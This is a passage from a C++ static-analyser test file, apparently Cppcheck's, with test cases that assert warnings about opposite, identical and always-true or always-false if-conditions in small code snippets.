errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n 